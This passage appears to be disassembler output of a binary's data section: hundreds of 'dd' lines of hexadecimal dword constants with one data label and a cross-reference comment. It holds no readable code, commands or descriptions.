8EB3650Ch, 700BB120h dd 4EF49F8Bh, 79E1C150h, 30EE602h, 0F7522D13h, 0F2E583D1h dd 0ACA54FFFh, 0EDC0C93Bh dd 0D90105D5h, 371F5D09h, 4C060C81h, 7A586C75h, 0BA6A6B67h dd 0D3F22992h, 207EE9C2h, 963D18E5h, 6EF3EFD2h, 6E37E804h dd 0D2B0AB77h, 4A3F80D0h, 81274403h, 0DB585FCBh, 69C3B032h dd 0BC997FDDh, 0E0EA648Ah, 0CA0F0570h, 0E529CB6Eh, 7132DF0h dd 672CCBAh, 78173A7Ch, 8801D7F7h, 4D1B7AA2h, 0C39E5638h dd 0CA895E59h, 7FA9EFD1h, 0C2A47DB2h, 0C6DD648Bh, 0B550F07Bh dd 0C0093B85h, 0C1814130h, 5C069A09h, 95A2DF47h, 869A52ECh dd 12B7E5DFh, 0E092F85Bh, 97F61CE9h, 0D3BF757Ah, 0B97E25E1h dd 52A756E9h, 0D4FC9564h, 11A068B7h, 90015F20h, 0B11ACAEEh dd 2B877E5Eh, 0A422CA5h, 64EEE4E9h, 0B4C3016Dh, 1516303h dd 0E371F3h, 1447E908h, 90BA54C0h, 90615A43h, 0E8564F84h dd 0C0EE9264h, 0E8102AFEh, 6100055Eh, 708303Ch, 5F1FB84Eh dd 81FFE861h, 71807EAEh, 6020688Dh, 34B33B0Ch, 60D25C2Dh dd 3E745209h, 4F02FF09h, 85802127h, 483A72EAh, 0C6B5174Bh dd 0F2B2903Bh, 0FA2F6E8Ch, 9D9F655h, 0E5C53989h, 0E38215B4h dd 895103A0h, 0B82FEEBEh, 0F491640Bh, 0CDB15B7Ch, 0ACD5E7E9h dd 1ABD0233h, 75154263h, 787FCB00h, 82EDD103h, 5048A10h dd 0BF68D70Bh, 51BFA1BBh, 3377880Ch, 0ACF18004h, 0C7291EBFh dd 76F98646h, 0FE3208D7h, 0DFC916C1h, 0B58B18E8h, 30B894BDh dd 0C3173120h, 44253527h, 3469224Ah, 886DF1D1h, 5BF1772h dd 40353327h, 0F3BCB713h, 95ED4214h, 0F08AC702h, 8B55E647h dd 0D5C24A21h, 9698C45h, 0D00DDC50h, 3E6018E9h, 281BEBFBh dd 0FEABA0C3h, 651ABE2Eh, 28B5D032h, 0D3E058C2h, 9A6B9099h dd 0C144FC2Ah, 51738568h, 49D348Fh, 0ED753687h, 4B8F9B0h dd 3723E847h, 0F28D9050h, 17489031h, 51AF2704h, 97FCBC09h dd 0D0971A46h, 7CFE97C0h, 4A75E9F8h, 0AEF935C6h, 0A4D55198h dd 4E029461h, 6883F035h, 0CD193753h, 2898057h, 9C4684DCh dd 6DBD6032h, 2D055ACFh, 2EEF3B32h, 12011AF9h, 510A97Dh dd 0FDF2E461h, 378C17Ch, 98D25202h, 4AAFE9FFh, 81F8772Eh dd 67416813h, 2961EACDh, 0AF01D093h, 0AFC36756h, 5AD80458h dd 833E2D46h, 0B4D162C3h, 2A03B2Fh, 66E105CBh, 0BCE0E9EEh dd 1EEE5AD0h, 0F74822Ah, 3C613C8Eh, 58633A5Eh, 0DDFDC46Ah dd 241EE9B1h, 350740ABh, 0CBAEA7BEh, 3EBC88B5h, 60CF680Ch dd 0D264C52Bh, 73AA5814h, 0ADF91325h, 5C109240h, 0A01001F8h dd 0B914ADEh, 5DC2F2A8h, 0E66F80D1h, 2E4FC76Dh, 2DFB85F3h dd 8FE90CE3h, 9FE938D1h, 0BDC10357h, 602CFB21h, 8B6CFDA4h dd 5A6771Ch, 0BD045EE3h, 67C07773h, 683CFFFCh, 0CC832833h dd 29E3F350h, 0FB83083Eh, 58A2C848h, 35D7A1CCh, 18345C06h dd 518138E3h, 0F701FE06h, 83048BD3h, 0CCA575C3h, 0D6E78055h dd 6E01014Eh, 4CBACBBDh, 0DB303180h, 32EB4F29h, 0B07789D0h dd 1685618h, 0BEF6A47h, 93D6F75Eh, 6CEDE27Ah, 50BA3B37h dd 2C4B324Ah, 0DF5E2FB8h, 0E8A162BCh, 377340D0h, 1326DA1Fh dd 273F5021h, 97ABD07Fh, 55494D79h, 29C945E5h, 9DD3F21Ch dd 3AB3E78h, 6F02A5D9h, 0E90B998Ah, 1257F48Eh, 0EB64416Fh dd 0C735903Bh, 9E2D3976h, 0D3857547h, 5EAAA0BDh, 4CCE6802h dd 0D85BD758h, 953D76A0h, 77E4EBBh, 0B98E0130h, 2D415DC5h dd 3D097673h, 98C91675h, 0DCD83163h, 0C980C517h, 0F3CB2AB4h dd 0D041B93Fh, 735830F6h, 59CA1324h, 0E85590FBh, 0CD5880A6h dd 891627F7h, 1265C527h, 805A6450h, 3055906h, 0CA815E01h dd 0BAC0CFAh, 0B89E043h, 8E6C136h, 9050BAD7h, 0C4C8AF0Dh dd 0EB5AD517h, 502C07F7h, 83002D0Fh, 6119CDB8h, 0E4BF1405h dd 80BBA5EFh, 18387BB6h, 50BA6F5Ah, 298F0B9Ah, 0D9C92172h dd 0D4CBA657h, 0A8C42593h, 4D0A9FFFh, 9E6510AFh, 81F3811Fh dd 913C5E4h, 4B2230DEh, 0B01F35B2h, 664E28AAh, 0C8FD8A58h dd 5B70F73Ch, 7A0EE564h, 1AB2A1C0h, 0B50D75E9h, 0DE8ED41Ch dd 987BF420h, 1B972033h, 5BFA880Bh, 0EE57F88Ah, 40219454h dd 59C5685Ah, 0E0B33FC6h, 3DE10255h, 51365F1Ah, 4BB7817Fh dd 0F42AD987h, 5D44E6B2h, 0CC079FEEh, 8E1E249h, 6B8901C1h dd 50534B6h, 82FA8048h, 6D79F3A2h, 8294F74Bh, 0BB535D10h dd 49E9DDC2h, 0BE6D81F7h, 2AE50985h, 18F8E455h, 2DB69419h dd 0BDE3DCE8h, 709F42B2h, 536604F6h, 0EA9DB151h, 0CA1ACB85h dd 90D0E470h, 0E776297Ch, 0EB0142AAh, 19785560h, 5E33BA02h dd 4A3C64E9h, 2157A91h, 25FCBD55h, 81821D8Eh, 45DF28CBh dd 57542526h, 4C8DD962h, 5C6675D0h, 0D53022EBh, 0A811E90Dh dd 709091A6h, 0C1F7F49Dh, 98734DD5h, 5E597CA6h, 1E7582F8h dd 193C20A8h, 2B78529Dh, 36D6BCE1h, 0C82F1029h, 11243059h dd 6B79BDF9h, 0D5015C85h, 0A640C1CBh, 801A7FA9h, 790B4AEFh dd 5E5D3E4Ch, 0EEC78097h, 0E91F0D75h, 59B5F927h, 3A894F3Eh dd 40000950h, 0F61C462Dh, 121A353Bh, 0ABBA749Ah, 0D1101F5Eh dd 87097A48h, 582C862h, 0C00BB29Fh, 32684CB7h, 55AB5AEFh dd 1752955Dh, 0BBD7335Ch, 1DA012FCh, 0B93407CBh, 0E4595E65h dd 487EA80Ch, 0D57127AFh, 82023692h, 10E6D34Ch, 950CD2B7h dd 0A6E94238h, 71BAEAD3h, 2B0F9A92h, 0DE65ABCBh, 0CFD097DBh dd 6664CAC2h, 1ED93E0h, 0E2E9450Bh, 0B1512288h, 8C2FD179h dd 0C3F32385h, 0CF1B6E00h, 0E12CBE15h, 0EE804B3Fh, 3A481441h dd 0C85206Fh, 177A3D65h, 40E5B8F6h, 0BE25E908h, 3C93510Ah dd 233CBA13h, 0A485263Fh, 47E70D7Eh, 0B028B490h, 5C0BBDF9h dd 78149B39h, 0A0AF0004h, 0EF29380Eh, 0A149FCE9h, 92AA938Eh dd 8C402004h, 5D81ABA8h, 9B4CD5C6h, 0E59DD197h, 5FBBE019h dd 178C4562h, 0CC319261h, 95DC950Dh, 0FD72206Bh, 0A02FDC0Eh dd 0B837AD9Ch, 9E3EC48h, 50F84FDBh, 31893BFCh, 1A127D15h dd 0CE955175h, 8A0E9117h, 94017ACCh, 0B7540C2h, 0FC3EB064h dd 0FA293C77h, 7708A27Dh, 0D64FDECCh, 6C480B2h, 9BDCA8FFh dd 0A949A83Eh, 29C4B5FEh, 9A4C5E4Dh, 3CD40195h, 0C22B2B68h dd 0B900B27Ah, 7A670241h, 0B294A4Ch, 2BF75F53h, 4D0DF743h dd 7D8F2B7Ah, 29A1F313h, 0A6ED42F8h, 5DCB4B49h, 4D15601Bh dd 69BD0A13h, 0C8178AECh, 3232FBE0h, 809FFEFh, 5E781D9Ch dd 0A12CC65Eh, 0F98730E9h, 4ACCEE17h, 46384E1Fh, 51C8A40Bh dd 37B9326h, 0D3317134h, 7BD87EF9h, 99307568h, 0E4C10140h dd 2058E851h, 0F30FF1A2h, 0A325F475h, 0FAA613E9h, 154255B3h dd 126C6D7Dh, 2C47A1A9h, 5401C509h, 18F88FFFh, 50F7DBDFh dd 85D17B8h, 9BCB0658h, 0C506B5E8h, 38FC73F5h, 2608090Ch dd 8300372Ah, 0D2D563BFh, 0FFE9200Bh, 0ADC6F6D7h, 0F304D152h dd 72554CC0h, 9F58C3F0h, 0A4E6C802h, 0B5801455h, 92C9D2D4h dd 30BC17Ah, 760E9060h, 21742D50h, 47404562h, 53602C5Eh dd 0B1E898Ch, 96149813h, 0E35E2F8Fh, 0A1AE4409h, 3A28682Ah dd 0C1106736h, 7E35872h, 3F927130h, 68B4B7B2h, 0BD7D2E7Fh dd 65171198h, 5A608D9Ch, 165F4B59h, 0B31CB068h, 76860485h dd 6AC154CDh, 0FFC2010Fh, 0F8A445CFh, 37DA08h, 8006E5C0h dd 0A2F679F5h, 2D006FBCh, 6AF0774Dh, 0BC16D65Dh, 52E35A55h dd 0B38B68C5h, 9BBA023Ah, 4072ED5Ah, 26A567EAh, 84C88D12h dd 84209740h, 715680F0h, 50A2B0Eh, 0A5AEB6E9h, 9F02494Ah dd 556F898Ch, 0EA558AE2h dd 0C9BF00CFh, 0FE47B902h, 0AD2B91FDh, 590D0477h, 332FBBA8h dd 0FBEBA156h, 56596256h, 4FB7FC80h, 0F4986AF4h, 252A6801h dd 0EBF6E92Fh, 0F063896Fh, 0FB9D29CDh, 0AAA99DC0h, 20E6AE44h dd 0BB01E4ABh, 0D92C2D5Dh, 4D7DDF89h, 2872708Fh, 56905755h dd 0A253E000h, 5AB95140h, 0CDE2839h, 7A300B91h, 807D2FACh dd 713D05CFh, 0C45275EEh, 0AA4B2A38h, 35409600h, 1778EC10h dd 5C78902h, 127D345h, 90425D37h, 0CCF0D206h, 0A68077A2h dd 0CB211C78h, 0FE535927h, 0DBF34310h, 20BEF9B9h, 193930FCh dd 36E909CDh, 3B9877EFh, 2D80EA90h, 16241497h, 0C468E254h dd 0F8C89908h, 0EB743AE5h, 0E90C46CBh, 581C5F1Dh, 79B757E8h dd 4688195Dh, 44076A7Eh, 569B5166h, 93722D69h, 3E5BFA3Eh dd 0E1B18259h, 0CAF02CE9h, 68FC90B0h, 0B3665E88h, 72944973h dd 5DD3BE05h, 0C5090BB2h, 0DC2849Bh, 0F4F79F82h, 0E1987B4Dh dd 0CF276852h, 87CBD92Fh, 0D22879BAh, 0D47482E9h, 0C1385C05h dd 0C884AE87h, 0BD79B1Fh, 0B2DEF4F5h, 0FC68C740h, 8053AA1Ah dd 0D22E9058h, 72B80462h, 0BA9D2DD1h, 0C23437C7h, 8098C8FEh dd 3A8EF639h, 0BFC6BCDEh, 0E6491650h, 0C18862D3h, 0A73EDD9Eh dd 0ED8103A5h, 0D10B1A5Bh, 0BF21F501h, 55FD0812h, 0F1967216h dd 5A584005h, 0FD5FE0A8h, 12429F4Ch, 71F305E9h, 59D84CC6h dd 50535809h, 72390268h, 0D8594025h, 0A4014F11h, 46BA62D1h dd 1444E4Ch, 3C020A24h, 832BEEC1h, 0C7A0796h, 0E965609Dh dd 0A88BBF37h, 945F5909h, 1FE91307h, 0E78DB8AFh, 3EB8CFE4h dd 0C5BD5A2Eh, 0FE8CC828h, 8840C741h, 7BB405C1h, 0D23277Ch dd 68842273h, 0F3CD6F78h, 9A584536h, 50C13A54h, 9EABEE2h dd 10742871h, 0F282185Dh, 5ADE385Dh, 6BCFB45Bh, 0F65C2540h dd 6F49D52h, 57F9C1ADh, 0E762403Eh, 65A96DEDh, 0E7EEDAB5h dd 2C3C73A8h, 8BCF0C9Dh, 7809DE89h, 3DB810A0h, 41FD678h dd 0E0C0BD0Dh, 1E53257Eh, 37E9E6A0h, 646F6A34h, 970EBEACh dd 0D07A82BFh, 264C123h, 0AF99DDEAh, 3E9856FAh, 0F187CB2Dh dd 2F3B406Eh, 8109711Dh, 80C51CAh, 42058243h, 40AFE2D1h dd 4D5FAE06h, 0BEB031BEh, 0BD187120h, 0CE695F52h, 27F0F11h dd 420BA90Eh, 0FA0DC18Bh, 0E8D4AF43h, 0F95F08D2h, 0FAC68BDEh dd 0DD1ECE26h, 0AF61E8C4h, 80126A1h, 92A55E9h, 66F55F3Bh dd 17233863h, 0A061BB4Fh, 0FA6892E9h, 7E283D5Eh, 91239F2h dd 0B24AD148h, 5737D2Eh, 71E4297Eh, 52ADC8FBh, 586D799Dh dd 0D9BFF001h, 63430EC3h, 49CEEB16h, 274ABD5Ah, 5D3CE09Fh dd 0E149D251h, 930ABFAAh, 92F62CE1h, 0A42957Fh, 0E42FD17Dh dd 6389EB5Ch, 0FA3B132Fh, 0E90BD68Eh, 21DAEC88h, 0F40C1EEEh dd 9A293107h, 28E6BABDh, 20184068h, 22B53FF7h, 0BC14569h dd 2DAA6FD3h, 80F7B207h, 0F232F0CAh, 8515C2E4h, 7984CCA5h dd 44E2D2D4h, 82E9A296h, 0E47F81E9h, 702A0283h, 0CE0172CFh dd 80872E2h, 0CE825070h, 836D997h, 632DC5E1h, 0A144FA9Ch dd 43276896h, 1F9CFDC2h, 129EA0D4h, 0CCEADA5Ah, 65FACB2h dd 0E983D0B9h, 0AB02C2A5h, 0C87AD1C5h, 236EDF1Eh, 8B6F0DFBh dd 0F1F713DDh, 3E73DD00h, 0D25A8EE9h, 0A4EB9767h, 0F713AFDEh dd 6AADA7E8h, 9D927EB3h, 0D0297EF2h, 5F762D62h, 56E8CC86h dd 0A560544Bh, 0AA4BC568h, 2DFDC71Dh, 3C436F4Eh, 297DEF4Eh dd 9E8BF02h, 0A18263DAh, 7C631E7Eh, 0BF2002CFh, 60C6328Ch dd 7FD36F41h, 0D381B2h, 7F61E5E5h, 7438E959h, 2DBF4F17h dd 96BA38B1h, 28BDA500h, 2BB554Ah, 0B397566Fh, 2461CB01h dd 0E2BF9E54h, 6E196605h, 46E32097h, 451C3870h, 892D04DCh dd 0C9503FE3h, 0CD609C2Ch, 1EF3B922h, 0C060483Ch, 0C7A45939h dd 625616B9h, 0FA68ED8Fh, 0D1E0B5B8h, 13F8304Eh, 53F40501h dd 3040733Bh, 65036EC2h, 0CD2D3F17h, 754DAA46h, 0A560B9E1h dd 0AD4C7C38h, 0E1D5D942h, 0ABFC4BE8h, 0A5E89F2Dh, 51BFECFEh dd 1868E144h, 0B78A3A55h, 9F24BF48h, 59D95341h, 15522AEEh dd 0E2B990C4h, 0F8C69312h, 539F86DCh, 2DD00329h, 54637845h dd 85E579A8h, 0C5C04864h, 0C0CA2904h, 0AE5828C2h, 35FF6D4Fh dd 5D3B3C24h, 9A426825h, 84DE05E7h, 0BFE734FBh, 4410A48Bh dd 0CE9C20Bh, 49605CD2h, 0AC6E2C04h, 5B2194F6h, 0E14F228Bh dd 0F1A66BF9h, 1EC39284h, 7B252CFh, 0E4B5D030h, 0A4169053h dd 89912CAFh, 0D0D8E85Bh, 7F384191h, 81FBE9B5h, 907F691Fh dd 4E34C738h, 1E6A9237h, 0D15B03h, 2B8CEA54h, 5EE90A2Dh dd 6C41B94Fh, 37880FCBh, 1F2EF565h, 40F10193h, 2CBFDFE9h dd 0AAA6132Ch, 54551361h, 928DA63Fh, 0E76E14CDh, 0A04C9DA7h dd 2D16FCh, 384351DFh, 6768D801h, 0A03BE8B7h, 0C8459D7Ch dd 91545209h, 0B3BAC98h, 2D5647Ah, 3C2DC59h, 0B4FFFCB1h dd 10668E1Ch, 70586D98h, 69009525h, 0B9308805h, 7CF75658h dd 13FDC424h, 0D4739B8Bh, 0D3D3D269h, 384F3316h, 92DF518Fh dd 3EB2A156h, 60ACF779h, 5EBA00A2h, 0BE351AF4h, 15B70BD7h dd 31E9BC44h, 0CCAB93D0h, 0E3DD7F0Fh, 61D7020h, 0BB7C663Fh dd 31260B19h, 0DF1413CBh, 13531082h, 0CBD9350h, 455017FAh dd 1DF2ADDAh, 9AC6F4Fh, 4D8A6781h, 3A862A27h, 76780F12h dd 0FD225E29h, 8A7BE56h, 0B1FFB4F5h, 58074B6Eh, 0F64920A5h dd 57F0EC9h, 1DF7EECh, 0A4388D28h, 0FBB03F29h, 0E44A9F2Bh dd 245A7EC1h, 3D27688Ch, 0C98DDE30h, 47441073h, 680B35E6h dd 32DF30BFh, 3E8EC15Bh, 5142B611h, 3088530Fh, 8EBD50DBh dd 5AF004E2h, 0EBD6DABCh, 0FC68AE98h, 603DB471h, 11536C3Fh dd 5B22E93Dh, 5E18C4CCh, 18E0B75Ch, 0F08B2939h, 9A1E956Ch dd 16EBC299h, 0EDC86498h, 534A9C4Dh, 9BA5240h, 0A7CBB529h dd 0FA166E7Eh, 0F179BEE1h, 406B2FC5h, 0EE15EAAEh, 1D9AC57Fh dd 4C13314Bh, 19AD8FBFh, 0D20A1D18h, 5DAE46Ah, 92ACC14Eh dd 89F4F8F4h, 976A58F3h, 46C3D8F1h, 0B3BA85E7h, 0FC307B74h dd 1CC1A9BAh, 7AF7240Ah, 859A827h, 1E4451D6h, 819A434h dd 2DEDF50Ch, 36ED3A81h, 750B5306h, 0E4AD396Bh, 105AE2FAh dd 0B95AC099h, 0D6D0C9A8h, 0EE1C7AFAh, 0CE4CA295h, 0E7C6A017h dd 4CDC6F6Bh, 5E0EF13Ch, 96DF4C64h, 9CEC0BFEh, 525929A0h dd 201681BAh, 40EC2BE3h, 0BD0DD802h, 82090168h, 916CB198h dd 0A62BBCCh, 0C1403005h, 16F2BE0Ah, 0D80D6781h, 0E9B02F44h dd 5F682E52h dword_4F0044 dd 0F383494h, 8E695908h, 2DD15EDEh, 4D8432EAh, 0C9C4F84Bh ; DATA XREF: ___:00437A5Co dd 8B76DC2Fh, 7079430Eh, 25380381h, 3671E933h, 7DB14D11h dd 123AECE9h, 5E67BF14h, 27B20A95h, 5C8C3240h, 0F824E0Ch dd 8C89E84h, 234B5C68h, 9852C368h, 5F380B70h, 7DF315BBh dd 0FC87F30Bh, 0E6C15842h, 75C3024Ch, 64F51A02h, 7D9D8FE9h dd 0A3C21E92h, 2D002354h, 0A964F3C7h, 0A2E0B829h, 0A30C5591h dd 3218DC78h, 0AF9272C4h, 73570549h, 0BA8B87E9h, 0EB924929h dd 1096AD5Eh, 0BF02BEBBh, 4862372Dh, 2F6A2140h, 89F8195Bh dd 0B6F84104h, 0B4B2FBC4h, 0D1D2F04Fh, 3AB52613h, 1B3806A1h dd 255E7775h, 0AF5EA606h, 0E8431A8Bh, 2C97EEC6h, 17C91326h dd 533941FBh, 3B350868h, 0EBEDE8Ch, 6EA57F4Eh, 7A3E982h dd 0EE8143D4h, 65AD2C8Ah, 410DB83Eh, 0EC1C8208h, 5D1BDF21h dd 427DCBE2h, 589CDC27h, 0D065D33Eh, 5AEBC6E0h, 22F50CC3h dd 5524E9CFh, 68049859h, 8B9108DCh, 0B9005966h, 2F0CAFB3h dd 40F929B7h, 77EF0FC7h, 0CF2A6BC8h, 3D0820A4h, 415596E9h dd 5AC4F502h, 0C6F0980h, 135C6201h, 8AFF2912h, 1C0930C1h dd 0C3F4FDE9h, 0F7B65298h, 3C0E35C1h, 8F681D27h, 0E9E1B064h dd 7B7C7A07h, 50B056CFh, 1017C43Ch, 0EE016CD4h, 776B31C3h dd 82B86Bh, 0E64EF3EAh, 6FABE928h, 0DC43ADB0h, 0F08E7B6Fh dd 67BDCB01h, 8BE916ADh, 0E65A032Ch, 376812C3h, 31E9A942h dd 27AEE461h, 305A5E14h, 0B70F4909h, 0D905D505h, 54810B08h dd 18E1AD5h, 0FD55E911h, 5EE28B8Bh, 0C30725Ch, 608B2644h dd 3A2B870h, 10B02FB6h, 1496CC52h, 16988884h, 903BBD1Bh dd 823CCD4Bh, 0CE7B3FACh, 3DDB8011h, 0B7F84D09h, 0A1E9A0C8h dd 0ACDABCFBh, 82030D9h, 5B81AA1h, 352409AFh, 7DA083B4h dd 145C230Bh, 0D7F60278h, 0E209B001h, 59D46A89h, 72464BC6h dd 7B20C598h, 0E9E4BD06h, 0BD13B417h, 0AF40EEF8h, 6EE914D8h dd 0A7011F0Ah, 2D3DC813h, 10B93A3h, 190CCAAFh, 56C05755h dd 99EC776Ah, 455FE300h, 80976CABh, 54BAA569h, 0B77B693h dd 47C5DC14h, 53098325h, 721D60CEh, 343B3DA3h, 5B92189Ch dd 0BB02F4ECh, 70272DB1h, 0FEC7647Fh, 0B8D84EA7h, 0F33187C0h dd 0EAF54BA2h, 0CCD85F1Fh, 2455EF9Dh, 99D924A7h, 0B7322E30h dd 0C5E20D06h, 0F785E88Dh, 0DF5727DBh, 0F4E93BC3h, 781236D1h dd 97CA4F44h, 545291DEh, 78606FE4h, 2912D446h, 72DD028h dd 0BF24509Fh, 0DC9D8266h, 58C24097h, 120433Ah, 550882EEh dd 4FE65251h, 8149B6DBh, 8E23FCE7h, 68E04040h, 0A8D5F7DFh dd 0F6EB0562h, 0F5C23461h, 120E76D8h, 0FACCC58h, 7E8B184Fh dd 0FCB7327Dh, 7CE0BDF4h, 0B9746609h, 0D54BCDF4h, 832A05E8h dd 50B258CCh, 0B8E12E16h, 56F4A270h, 0AC5D17D8h, 0A6EA9E9Eh dd 0DB96C09Dh, 2DAD80ACh, 38432309h, 5802D431h, 0A1043634h dd 76E95129h, 5D5C93D2h, 0F254770h, 0ED7C20A5h, 5B2AC735h dd 82F1A2BBh, 0DCAAEB80h, 488189F5h, 1B870D71h, 0A5BF39A1h dd 738C76E3h, 376F16AAh, 0C52242Ch, 760E5A08h, 6EC2500Fh dd 22EBA01h, 70B2E908h, 0E2545B3Ah, 86E9C56Ah, 8A6AEAF1h dd 93CB2888h, 0E5F3E14Bh, 0D1D35C8Fh, 7EBB573Bh, 0A02701F3h dd 54B59CF0h, 9E97075h, 0C078879Fh, 0CA800780h, 76F2E6BBh dd 0D041F38Fh, 3A340949h, 0E68102DEh, 76F5CABh, 31B97940h dd 50955E98h, 3AE913E3h, 0E4C0CD4Ch, 0A1952762h, 1CD10BDFh dd 182DC07Bh, 0E912794Ah, 62234644h, 5460C208h, 182C18BBh dd 5BE804F8h, 49E77697h, 0DF292823h, 163CFEE4h, 0E9501252h dd 4C87ACF5h, 335A8E3Ah, 5B22C301h, 0D840786Dh, 0C546AA9Fh dd 0A38FA95Ah, 0F6E2130Ch, 2668DD9Ch, 0C2702986h, 0BAC47335h dd 67019A08h, 0CB721F70h, 0BFC05DB5h, 3FE1F988h, 5B05CBDh dd 0C9060C9Ch, 0F7B0E90Dh, 505B2DE6h, 0AB20BBE5h, 5DD445Eh dd 18D2E96Fh, 513FBA54h, 804807B5h, 0C92C91C5h, 0EBDF08FFh dd 7CE1940Bh, 9945CF81h, 0CB8CEAC6h, 24E54B5Bh, 0B292C2B3h dd 7B611962h, 6901E506h, 272A4893h, 89DFD498h, 99DD5EF3h dd 0BC2B5C9Ah, 90D3A16Ch, 0E75F1626h, 31512419h, 0C82FB201h dd 0A83B4A56h, 74300576h, 8C0207Ch, 6B2F33A0h, 9A00186Ch dd 0D18921BCh, 0C7E7A1h, 5092B151h, 417CC328h, 0B10B6887h dd 0BA0C4377h, 0E63C0A0Bh, 80418062h, 92C7B5Dh, 0CA874A42h dd 544458D0h, 33C09255h, 8B2505Dh, 206F5BB1h, 2C95E2E9h dd 5DF6D843h, 5162616h, 0C1C00027h, 17A747F5h, 4736813h dd 181B1DCCh, 321EBB18h, 82207128h, 53571F2Fh, 0B4291DF4h dd 1C081A1Ch, 0DBE61409h, 2DD0E926h, 2181EA47h, 0E43A5AD7h dd 0A130F3Ah, 60F802AEh, 6800804Eh, 869B7CEDh, 0B435B201h dd 33614F26h, 400851F8h, 0EE04D44Eh, 0FD01F9FFh, 0E98499E7h dd 0F73FE061h, 194DDD3Ch, 0E6673973h, 56F2CFDh, 25D468D1h dd 0E1D903Fh, 1E5B3B32h, 5200C1CBh, 6D16855h, 0E9160CDDh dd 27B55F8Ah, 0C46A0131h, 0B005BB58h, 2E5489C1h, 68D00BDBh dd 975B02A6h, 0ADD34563h, 3CA70CC0h, 0F30A89ACh, 0A4494F65h dd 3101EF8Dh, 1610C62Fh, 0D140E970h, 323609BAh, 0C1801008h dd 2E9FF0C8h, 0F2BDAB5h, 9A5D45C6h, 5182A3D7h, 0E4127E57h dd 42688BEFh, 11B19F52h, 918190E9h, 334630B9h, 0FF93B5Fh dd 3ECC00Eh, 0D005E463h, 9FA281B5h, 0CAFB81D3h, 52626DA3h dd 0EC0EB822h, 164D7DBh, 965EB2D0h, 8DEF6925h, 6BFB3660h dd 2E1670Dh, 2BC4685Eh, 7513BC4Ch, 0E707CE67h, 0F1A3A8EAh dd 3486006Ah, 0E9C2855Ch, 0DE97EF9Ah, 0C0024406h, 0BC264CEAh dd 0F1EC6C4Eh, 0ADE697Eh, 92A32985h, 0D4402C60h, 0A7003492h dd 0F658C588h, 0DCD80D5h, 0D314E98Ch, 5C8A4056h, 2148CB52h dd 0DB7F0470h, 4E4A5BFh, 0ECE126F1h, 0FBF03225h, 0B882DFE4h dd 0BA001E9Eh, 2D161056h, 0D39C59E9h, 76DFEA1Ah, 9B55E909h dd 0C8E32926h, 98135A20h, 0E8A027ABh, 0FA201866h, 0C2529DF7h dd 0E6361C09h, 0D680FF77h, 8BB56CBBh, 4E0568F3h, 90B468FCh dd 0EEE95219h, 4B7163EBh, 6171FA9h, 892D34F3h, 0FC79F2E9h dd 0D49DE225h, 60D30DD6h, 6A077BD9h, 29646168h, 0BD215ACh dd 0B5E4038Ah, 65728B97h, 0CD748B19h, 79615620h, 0BFBE629Ah dd 0B48B22Ch, 846A5814h, 0E5FAC331h, 54816BEDh, 5F60AD68h dd 2B8597ECh, 8F00AF5Ah, 0C147382Fh, 2163B8E0h, 58971A0Dh dd 0C2E46DADh, 5FD9D5A6h, 21E7FEA5h, 0BA6A2h, 128C163Eh dd 9615E94Ah, 4E7C0109h, 771BE3A2h, 0ECC298B6h, 184E5971h dd 0CE9123D2h, 0C54FF85Dh, 0C8A72A25h, 2F0B4B42h, 0D0096BD4h dd 5E200E5h, 55DEBB53h, 60BD6E56h, 9527E918h, 1E427386h dd 0D9379501h, 0FFEB8326h, 8D59B42h, 0E958B4B4h, 0CD29174Bh dd 0F2ED680Bh, 83BB5A1Ch, 0FA8B8D2h, 8BB805D1h, 3C20DC41h dd 0D1C6A9Fh, 0DCC082Fh, 43B4BE03h, 0F329917Ch, 2CAA752Eh dd 271375A2h, 601492Bh, 66D90388h, 13CE4970h, 446AA51Fh dd 1F94AB9h, 0EC80D4F6h, 76E47730h, 0F2E8E607h, 0A6F70F4h dd 7D6AE9E1h, 37A51A51h, 37089707h, 0C90139EAh, 3B0E257Dh dd 0EB95AA97h, 4A8CDAEEh, 7F471FE5h, 0BB175004h, 0EF72D005h dd 0BEBD34FFh, 844678Bh, 9B5B48D9h, 2A44AC83h, 85FFE894h dd 51AC7C25h, 17CEA9E4h, 74F4EB5Bh, 1FC00FC5h, 1E8B2EAEh dd 0DE277276h, 4606FB7Dh dd 0D71BE956h, 0F1BB0520h, 0D634562h, 7F0DF080h, 2FE97E68h dd 935614CEh, 5BCE7049h, 2B58F184h, 1914308Bh, 7584C511h dd 0E3265F2Ch, 0E9444B2Fh, 0D887BF92h, 0F45064B1h, 28D3AC58h dd 5AE6CF66h, 0A5047EEBh, 0C8F47847h, 201F410Ah, 0D5944F9Ah dd 0E29C2DBEh, 98AA6468h, 41135AB7h, 0C271DA0Bh, 3802ED14h dd 825E240Ah, 73016800h, 4CE18113h, 7930EA34h, 41E949A4h dd 0C3A2824Fh, 0C0DCBF92h, 5F124E9h, 89DCA752h, 0BA2CCD07h dd 0B252D000h, 0C219C50Ch, 0CDA61711h, 32CDE076h, 0C0024099h dd 8042DBC7h, 30545BCCh, 0F0294B6Ch, 620473BAh, 0D2E92238h dd 0B60533A8h, 8A2B1DFh, 0BA01528Ah, 605635DCh, 840B043Fh dd 407D14EFh, 7560E293h, 2B6B2E0Ch, 0D2289730h, 0FCE90408h dd 947EF4EEh, 0D4BD5D25h, 406B3E8h, 81C29C39h, 0E926FB74h dd 0C755B1D9h, 0D29F99B2h, 0BE0CA003h, 0C037F005h, 90BB091Eh dd 0B4AC9C1Bh, 5701F82Dh, 0F395489Eh, 8EC3814Bh, 861A9416h dd 0A166BE0Ch, 0B6BD2086h, 0BC1D909Dh, 0CFFBC0B3h, 48E25751h dd 0AF4B6EF6h, 627E0CC9h, 437059C9h, 0D59EEBB4h, 2407F97h dd 0C083F180h, 0C0365E1h, 0B45F86Bh, 0FDC964E9h, 56C95F1Bh dd 99A27EE3h, 61B75F78h, 0C2990C8Ch, 85795603h, 3B50CAEEh dd 0F154822Dh, 0CA13E97Fh, 0E2205744h, 1C7C202Eh, 0C2F35E5Ah dd 3D1BC196h, 8B9E3FB3h, 0A2545017h, 6279C5B6h, 0FD4A7ACBh dd 3882C4AAh, 785A4E2h, 0F330AE61h, 9EFEE955h, 89461DDCh dd 8DFAC233h, 0C8214827h, 0B5EE5FEDh, 742D85D1h, 0E9125C5Eh dd 0EF20DE7Bh, 0E3069Eh, 73F38164h, 43192B2Dh, 78700EC1h dd 0C8F36BCh, 0B0E518A7h, 53F3EE01h, 580BAC4Ah, 644001Bh dd 0F8E91532h, 0E0CDCEE6h, 78757EEFh, 0E120BF96h, 9FD0F703h dd 3A6A80E9h, 3CFA1316h, 0B24F6F5Ah, 0B30667FBh, 6302F143h dd 30C20DC6h, 